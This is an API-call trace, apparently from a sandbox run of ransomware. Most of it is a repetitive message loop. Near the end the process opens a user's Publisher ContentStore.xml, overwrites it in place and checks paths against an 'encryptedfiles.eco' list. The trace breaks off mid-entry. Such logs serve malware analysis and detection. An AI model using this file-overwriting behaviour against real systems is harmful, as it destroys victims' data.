[0120.598] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.598] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.598] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.598] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.598] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.598] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.598] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.598] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.598] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.598] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.598] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.598] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.599] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.599] GetTickCount () returned 0x1150d3b [0120.599] GetTickCount () returned 0x1150d3b [0120.599] GetTickCount () returned 0x1150d3b [0120.599] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.599] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.599] GetTickCount () returned 0x1150d3b [0120.599] IsWindowVisible (hWnd=0x30268) returned 0 [0120.599] Sleep (dwMilliseconds=0x0) [0120.599] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.599] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.599] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.599] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.599] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.599] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.600] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.600] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.600] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.600] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.600] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.600] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.600] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.600] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.600] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.600] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.600] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.600] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.600] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.600] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.600] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.600] GetTickCount () returned 0x1150d3b [0120.600] GetTickCount () returned 0x1150d3b [0120.600] GetTickCount () returned 0x1150d3b [0120.601] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.601] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.601] GetTickCount () returned 0x1150d3b [0120.601] IsWindowVisible (hWnd=0x30268) returned 0 [0120.601] Sleep (dwMilliseconds=0x0) [0120.603] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.603] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.603] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.603] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.604] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.604] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.604] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.604] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.604] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.604] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.604] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.604] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.604] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.604] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.604] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.604] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.604] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.604] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.604] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.604] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.605] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.605] GetTickCount () returned 0x1150d3b [0120.605] GetTickCount () returned 0x1150d3b [0120.605] GetTickCount () returned 0x1150d3b [0120.605] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.605] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.605] GetTickCount () returned 0x1150d3b [0120.605] IsWindowVisible (hWnd=0x30268) returned 0 [0120.605] Sleep (dwMilliseconds=0x0) [0120.606] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.606] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.606] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.606] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.606] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.606] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.606] GetTickCount () returned 0x1150d3b [0120.606] GetTickCount () returned 0x1150d3b [0120.606] GetTickCount () returned 0x1150d3b [0120.606] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.606] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.606] GetTickCount () returned 0x1150d3b [0120.607] IsWindowVisible (hWnd=0x30268) returned 0 [0120.607] Sleep (dwMilliseconds=0x0) [0120.608] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.608] GetTickCount () returned 0x1150d3b [0120.608] GetTickCount () returned 0x1150d3b [0120.608] GetTickCount () returned 0x1150d3b [0120.608] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.608] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.608] GetTickCount () returned 0x1150d3b [0120.608] IsWindowVisible (hWnd=0x30268) returned 0 [0120.608] Sleep (dwMilliseconds=0x0) [0120.609] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.609] GetTickCount () returned 0x1150d3b [0120.609] GetTickCount () returned 0x1150d3b [0120.609] GetTickCount () returned 0x1150d3b [0120.609] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.609] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.609] GetTickCount () returned 0x1150d3b [0120.609] IsWindowVisible (hWnd=0x30268) returned 0 [0120.609] Sleep (dwMilliseconds=0x0) [0120.611] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.611] GetTickCount () returned 0x1150d3b [0120.611] GetTickCount () returned 0x1150d3b [0120.611] GetTickCount () returned 0x1150d3b [0120.611] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.611] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.611] GetTickCount () returned 0x1150d3b [0120.611] IsWindowVisible (hWnd=0x30268) returned 0 [0120.611] Sleep (dwMilliseconds=0x0) [0120.611] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.612] GetTickCount () returned 0x1150d3b [0120.612] GetTickCount () returned 0x1150d3b [0120.612] GetTickCount () returned 0x1150d3b [0120.612] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.612] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.612] GetTickCount () returned 0x1150d3b [0120.612] IsWindowVisible (hWnd=0x30268) returned 0 [0120.612] Sleep (dwMilliseconds=0x0) [0120.613] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.613] GetTickCount () returned 0x1150d4a [0120.613] GetTickCount () returned 0x1150d4a [0120.613] GetTickCount () returned 0x1150d4a [0120.613] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.613] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.613] GetTickCount () returned 0x1150d4a [0120.613] IsWindowVisible (hWnd=0x30268) returned 0 [0120.613] Sleep (dwMilliseconds=0x0) [0120.614] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.614] GetTickCount () returned 0x1150d4a [0120.614] GetTickCount () returned 0x1150d4a [0120.614] GetTickCount () returned 0x1150d4a [0120.614] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.614] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.614] GetTickCount () returned 0x1150d4a [0120.615] IsWindowVisible (hWnd=0x30268) returned 0 [0120.615] Sleep (dwMilliseconds=0x0) [0120.615] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.615] GetTickCount () returned 0x1150d4a [0120.615] GetTickCount () returned 0x1150d4a [0120.615] GetTickCount () returned 0x1150d4a [0120.615] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.615] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.616] GetTickCount () returned 0x1150d4a [0120.616] IsWindowVisible (hWnd=0x30268) returned 0 [0120.616] Sleep (dwMilliseconds=0x0) [0120.617] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.617] GetTickCount () returned 0x1150d4a [0120.617] GetTickCount () returned 0x1150d4a [0120.617] GetTickCount () returned 0x1150d4a [0120.617] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.617] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.617] GetTickCount () returned 0x1150d4a [0120.617] IsWindowVisible (hWnd=0x30268) returned 0 [0120.617] Sleep (dwMilliseconds=0x0) [0120.618] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.618] GetTickCount () returned 0x1150d4a [0120.618] GetTickCount () returned 0x1150d4a [0120.618] GetTickCount () returned 0x1150d4a [0120.618] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.618] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.618] GetTickCount () returned 0x1150d4a [0120.618] IsWindowVisible (hWnd=0x30268) returned 0 [0120.618] Sleep (dwMilliseconds=0x0) [0120.619] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.619] GetTickCount () returned 0x1150d4a [0120.619] GetTickCount () returned 0x1150d4a [0120.619] GetTickCount () returned 0x1150d4a [0120.619] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.619] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.619] GetTickCount () returned 0x1150d4a [0120.620] IsWindowVisible (hWnd=0x30268) returned 0 [0120.620] Sleep (dwMilliseconds=0x0) [0120.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.jest", cchWideChar=-1, lpMultiByteStr=0x18e878, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.jest", lpUsedDefaultChar=0x0) returned 104 [0120.621] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.jest", lpFilePart=0x18e870*="ContentStore.xml.jest") returned 0x67 [0120.621] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.jest", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0120.621] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml.jest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c4 [0120.621] GetFileType (hFile=0x2c4) returned 0x1 [0120.621] IMalloc:Alloc (This=0x767666bc, cb=0xa4) returned 0x14cf418 [0120.622] GetUserDefaultLCID () returned 0x409 [0120.622] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18ea3c | out: ppsaOut=0x18ea3c) returned 0x0 [0120.625] SafeArrayDestroyDescriptor (psa=0x14da520) returned 0x0 [0120.625] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpUsedDefaultChar=0x0) returned 99 [0120.625] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpFilePart=0x18e6d8*="ContentStore.xml") returned 0x62 [0120.625] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbec39d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0xc1, dwReserved1=0xfb003ac1, cFileName="ContentStore.xml", cAlternateFileName="CONTEN~1.XML")) returned 0x143ce48 [0120.625] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0120.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.626] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpFilePart=0x18e780*="ContentStore.xml") returned 0x62 [0120.626] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0120.626] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c4 [0120.626] GetFileType (hFile=0x2c4) returned 0x1 [0120.626] IMalloc:Alloc (This=0x767666bc, cb=0x9f) returned 0x145ef30 [0120.626] FlushFileBuffers (hFile=0x2) returned 0 [0120.626] IMalloc:Alloc (This=0x767666bc, cb=0x150) returned 0x1466360 [0120.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=168, lpMultiByteStr=0x1466360, cbMultiByte=336, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 168 [0120.626] WriteFile (in: hFile=0x2c4, lpBuffer=0x1466360*, nNumberOfBytesToWrite=0xa8, lpNumberOfBytesWritten=0x18e510, lpOverlapped=0x0 | out: lpBuffer=0x1466360*, lpNumberOfBytesWritten=0x18e510*=0xa8, lpOverlapped=0x0) returned 1 [0120.626] IMalloc:Free (This=0x767666bc, pv=0x1466360) [0120.626] FlushFileBuffers (hFile=0x2) returned 0 [0120.627] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpFilePart=0x18e780*="ContentStore.xml") returned 0x62 [0120.627] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0120.627] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c4 [0120.627] GetFileType (hFile=0x2c4) returned 0x1 [0120.627] IMalloc:Alloc (This=0x767666bc, cb=0x9f) returned 0x145ef30 [0120.627] FlushFileBuffers (hFile=0x2) returned 0 [0120.627] IMalloc:Alloc (This=0x767666bc, cb=0x150) returned 0x1466360 [0120.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ", cchWideChar=168, lpMultiByteStr=0x1466360, cbMultiByte=336, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿj", lpUsedDefaultChar=0x0) returned 168 [0120.627] WriteFile (in: hFile=0x2c4, lpBuffer=0x1466360*, nNumberOfBytesToWrite=0xa8, lpNumberOfBytesWritten=0x18e510, lpOverlapped=0x0 | out: lpBuffer=0x1466360*, lpNumberOfBytesWritten=0x18e510*=0xa8, lpOverlapped=0x0) returned 1 [0120.627] IMalloc:Free (This=0x767666bc, pv=0x1466360) [0120.628] FlushFileBuffers (hFile=0x2) returned 0 [0120.628] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0120.628] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x12f)) [0120.628] VarBstrFromR4 (in: fltIn=0x479442a7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.3") returned 0x0 [0120.628] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0120.628] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18ea28 | out: ppsaOut=0x18ea28) returned 0x0 [0120.628] GetUserDefaultLCID () returned 0x409 [0120.628] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", cchWideChar=-1, lpMultiByteStr=0x18e788, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpUsedDefaultChar=0x0) returned 99 [0120.629] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpFilePart=0x18e780*="ContentStore.xml") returned 0x62 [0120.629] 